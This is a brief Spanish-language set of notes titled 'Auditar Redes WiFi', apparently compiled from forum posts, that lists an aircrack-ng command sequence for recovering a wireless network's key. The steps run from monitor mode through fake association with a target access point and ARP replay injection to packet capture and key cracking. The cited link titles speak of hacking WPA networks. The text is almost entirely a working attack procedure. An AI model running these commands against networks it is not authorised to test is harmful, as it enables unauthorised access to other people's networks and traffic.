Auditar Redes WiFi

http://www.taringa.net/posts/linux/10599988/Hackear-red-WPA_-con-ubuntu-10_10-y-11_04_-garantizado_.html
http://www.taringa.net/posts/linux/6123053.R/Romper-WPA-y-WPA2-con-crunch.html

#airodump-ng wlan0
nos muestra las redes disponibles

#airmon-ng start wlan0
ponemos la nic en modo monitor

#ifconfig wlan0
obtenemos el numero MAC local

#airodump-ng wlan0
obtenemos el numero MAC, ESSID y channel del AP

#aireplay-ng -1 0 -e ESSID -a BSSID -h MAClocal wlan0
nos asociamos al AP del que queremos obtener la clave

#iwconfig wlan0 rate 1M channel 1
configuramos el canal 1 con 1M de rate

#aireplay-ng -3 -b BSSID -h MAClocal wlan0
generamos trafico

#airodump-ng -w data -c1 wlan0
capturamos el trafico hacia el archivo "data"

#aircrack-ng data01.cap
buscamos la clave con aircrack. En este caso seleccionamos el numero correspondiente al AP del que buscamos la clave



Fuente: http://foro.elhacker.net/wireless_en_linux/manual_basico_para_wifislax-t214456.0.html
http://www.taringa.net/posts/info/9844598/Hackear-wifi-con-Realtek-Rtl8185l-Wifislax-3_1.html